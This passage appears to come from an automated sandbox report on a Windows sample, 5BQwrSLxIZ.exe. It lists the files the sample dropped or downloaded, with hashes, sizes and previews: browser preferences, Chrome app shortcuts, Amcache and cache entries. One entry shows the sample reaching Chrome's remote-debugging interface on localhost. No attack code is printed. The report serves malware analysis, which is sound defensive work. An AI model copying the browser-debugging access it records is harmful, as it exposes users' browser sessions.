Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\da546ba8-3058-4122-88e2-49033be096ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44620
Entropy (8bit):	6.096300141553308
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBswuZhDO6vP6OIBzv9ThEOPcVGEHvcGoup1Xl3jVu:z/Ps+wsI7ynEx6oMchu3VlXr4CRo1
MD5:	4AF2F496AFC91856EC9F9B9FB2927E7D
SHA1:	82FDA3249BCA9BFA678D7DBE8839FA42C5960EFD
SHA-256:	8F20F56BF71D1017CFC5199A9B1B29768D12C1B65758F09852AF5A67F056C8E3
SHA-512:	6F8CA8E791BB878E438BEAFB28E379B7D1BA4F75C73890435291E323C2FBA7652C00685A2EBEC7EE27E0BA07A6B46DEF5A5CD37671E761D140A434DFA00A27B4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\5BQwrSLxIZ.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.378296391099978
Encrypted:	false
SSDEEP:	48:SfNaoQX2ATEQXEfNaoQjwQWfNaoQ7ZbQ7RfNaoQ8w/f0UrU0U8Q8P:6NnQdTEQANnQ8Q+NnQ7ZbQ7tNnQnf0UB
MD5:	21C8C53AFED6E8AACF5DBC22A77ECD74
SHA1:	0794B8DFBE53B3FC2B1D29F285A8748E4FC830F5
SHA-256:	AB163F025366FACD2288516262BEB322BD701589ACC5F915ACDD019CD475C56B
SHA-512:	45A1268B020BD0491845B35AD9F156C5C592629A2CBB3BB870DA0813E9CFDF1034F084846038FE5BD6DF05E2015A61C129C1AA99127F1F11D56D395BD5D1903B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/40983A576F02B58D3BBFD83F4C5E4EB7",.. "id": "40983A576F02B58D3BBFD83F4C5E4EB7",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/40983A576F02B58D3BBFD83F4C5E4EB7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/508295B87FE6A2B0EEDD70514426917C",.. "id": "508295B87FE6A2B0EEDD70514426917C",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/508295B87FE6A2B0EEDD70514426917C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 16:42:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.982714599068033
Encrypted:	false
SSDEEP:	48:8dd4T8gMHHidAKZdA19ehwiZUklqehv6y+3:8IPcpy
MD5:	4B8B208AF7C9425A22361185E07898AE
SHA1:	D9007A16530224DEA5F27A7F12A2C39D2222E751
SHA-256:	7C00CB576AFE7BB76B0D7320803C5CA922BCEBB0688AAB0459C8B44BF7ECD778
SHA-512:	A9D4C78F5FE47F10C2E4D15CA81BECCC2D7CA2A249BD171CA0D04390C2FDE5065E19F3F0EFE1278DDA0E347CF2D94CE522E34CEB08E0B9E96EBF18BDE06DFDBA
Malicious:	false
Preview:	L..................F.@.. ...$+.,........)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]YJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............I.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 16:42:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9978065071423905
Encrypted:	false
SSDEEP:	48:8Od4T8gMHHidAKZdA1weh/iZUkAQkqehw6y+2:8RPu9QAy
MD5:	BBA761E7C5F925789984AD3A3427BA54
SHA1:	9426402429CB88F62B2CE627281BE88C6F08EC76
SHA-256:	EC96F5C6FFF27A786A57BD00C720A188231F211553042EA62D6F2AAE4F3E8E3F
SHA-512:	1E61A7A200B878EFCE03556313CBD6029A44F74699E6023D0E711ED8B2E220757E2145D3E78B21B1675EA4D8D64600F9D1CFC2C351A48D97B12ED297B8FD6C6D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......Z.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]YJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............I.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.00637912381293
Encrypted:	false
SSDEEP:	48:8xJd4T8gsHHidAKZdA14tseh7sFiZUkmgqeh7s66y+BX:8xkP2n9y
MD5:	A7CF5D0801DF29ECA7FA115ED9BA7859
SHA1:	45FD5EAA9BB9A2B3B53C0567A1B5CCB392B31B97
SHA-256:	36C4BA41A70C10381C014E816A2AE6954C142C82EE5879A9AFAE09BCCCF474E6
SHA-512:	9328AB67D6D16F9F2F42F4F20F207C87192009F2D36EE911B244257D87DB41FFE9CE7B52FDE98033404B404D76F00006AFC97AB0F33490C016D55F77565A4E69
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............I.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 16:42:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9948608145937996
Encrypted:	false
SSDEEP:	48:8ld4T8gMHHidAKZdA1vehDiZUkwqeh86y+R:8AP1Hy
MD5:	644CB79282D9B0ABB89C45B5ADBA9ED2
SHA1:	94C1DADA027590B2CF190995285CF654607053AB
SHA-256:	79D57DC4DB9DECC35E90A9E56EF3D2FD83DE2BDF77EC197C50365CA0F407EB6F
SHA-512:	78B904F1486C7A9D9BB607FDCCED27447D9C6D293AC949BFDFDABC6EFC2145CE832BAC7423B4C3B6CDA0360FAB23423C38F38CFB6ACE975BA94EF3C6472296A0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....K.B.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]YJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............I.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 16:42:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.982800410099742
Encrypted:	false
SSDEEP:	48:8Gd4T8gMHHidAKZdA1hehBiZUk1W1qeh+6y+C:85Pl9jy
MD5:	6D9EA40AF580DF45EE0FCDDA04FE2F02
SHA1:	069969469914241A92D30A485837D3145C7CCF9F
SHA-256:	8FB772EE1D9305A3B87D31B0E06177CA6794D8DFB9280E2C3F460F46BF1FFDAB
SHA-512:	2DBE14A39AA1140D1E4872C4D569855D4357640985453EB1CB79587A201374B59C4BD5CF90B97C9DD0EBF211E7AE3756E6FE5D34BDDDB7458A07FE97EAF6618C
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....!i.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]YJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............I.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 16:42:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.994152438247066
Encrypted:	false
SSDEEP:	48:8wd4T8gMHHidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbU6y+yT+:8bP5T/TbxWOvTb9y7T
MD5:	1B14756C4EBB7FEF276405BE387FC68E
SHA1:	32DB3992B9A9DD4EB21C12D8980D1AFF9416DA59
SHA-256:	04A156ECEAC16E1792EDBA3B4BAC699F41272AF845D4C56322D0596E6A190A52
SHA-512:	375E8607E609849DF8D1897C78FD203E7D266EF2ADD82518CFFAB89DAC98E77D4A075CB8D7355D58D5BA6F4CA29BFFA9E4A22C74C8F0D5114BC4ABEB0200EA16
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....q9.)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]YJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............I.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.42157728544973
Encrypted:	false
SSDEEP:	6144:qSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNo0uhiTw:ZvloTMW+EZMM6DFyW03w
MD5:	F19F7F33A1F15C588B442BBF9F810241
SHA1:	B7C81471CD17FCAD70D381481BB02426A19FE523
SHA-256:	8CE98E53E13593D775B1DC1149C15C5550E9A0DD3624E23877C1A60BF3EB50EF
SHA-512:	24FF79EBD6480C93649562DAA890163700CF6B0E3D83EF6F45CC1E6DBCF064C86213B87930E172621C7F68D0CB8D1A1CA9367BF9565BA2ABCF4A542CA487DC4E
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.6w.)*................................................................................................................................................................................................................................................................................................................................................`.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (798)
Category:	downloaded
Size (bytes):	803
Entropy (8bit):	5.105319533624977
Encrypted:	false
SSDEEP:	24:sfuUXk3yK87niBHslgT9lCuABuKqG7HHHHHHHYqmffffffo:sfu9yK8OKlgZ01BuKqGEqmffffffo
MD5:	3722C913A92D6EAF0D509963080347D6
SHA1:	BBF702A684E3C6FAE537040D19B88D5B0DB906F2
SHA-256:	CEA4F212DC187A5E22EA9550D836980E9B21C99EC83464D01C82E386173FB9C6
SHA-512:	2BFC5566059E3789816BC7B6F1DD4C379B221C992DF9F8331173B68914CD6AC70DB4A4DEF16388020F735658D75461C6EE40F9E07C4F7C1581ABD5C84D06C43D
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["denver nuggets vs brooklyn nets","black ops liberty falls easter egg","love island australia season 6 streaming","hurricanes tropical storms","mcdonald quarter pounder e coli outbreak","black ops double xp tokens","ncis cast","sports equinox"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1007,1006,1005,1004,1003,1002,1001,1000],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133760
Entropy (8bit):	5.436471428252085
Encrypted:	false
